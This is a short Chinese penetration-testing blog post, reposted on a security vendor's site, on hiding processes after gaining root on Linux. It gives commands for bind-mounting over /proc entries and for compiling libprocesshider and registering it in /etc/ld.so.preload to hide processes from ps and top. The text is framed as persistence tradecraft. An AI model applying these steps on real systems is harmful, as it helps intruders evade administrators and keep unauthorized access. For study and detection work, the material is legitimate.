长亭百川云 - 文章详情

渗透测试之Linux进程隐藏

大表哥吆

59

2024-06-06

在Linux
服务器上获取root
用户权限后,可以通过挂载覆盖/proc/pid
目录来隐藏进程,使其在ps和top命令的输出结果中消失。同时,可以利用LD_PRELOAD环境变量劫持系统函数,通过自定义动态链接库来控制不显示指定进程名,从而隐藏进程的存在。

在渗透测试中,权限维持是很重要的环节。拿下目标后,无论是搜集信息,还是作为跳板,都需要长久的获取这台机器的权限。这时候,我们需要考虑Shell的“持久战”!

挂载覆盖/proc/pid 目录

我们可以 利用 mount -bind
将另外一个目录挂载覆盖至 /proc/目录下,指定进程 PID 的目录。如果将进程 PID 的目录信息覆盖,则原来的进程信息会从 ps 的输出结果消失。具体命令如下:

mount -o bind /root/hid /proc/kali  
mount /dev/sda1 /proc/kali

挂载成功后,之前运行的进程也消失了。

LD_PRELOAD劫持系统函数

LD_PRELOAD
是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。

接下来,我们编译项目

git clone https://github.com/gianlucaborello/libprocesshider.git  
cd libprocesshider  
make  
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl

完成后,会生成 libprocesshider.so
文件

# 移动到库  
mv libprocesshider.so /usr/local/lib/  
# 写入预加载库文件  
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

更多精彩文章 欢迎关注我们

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2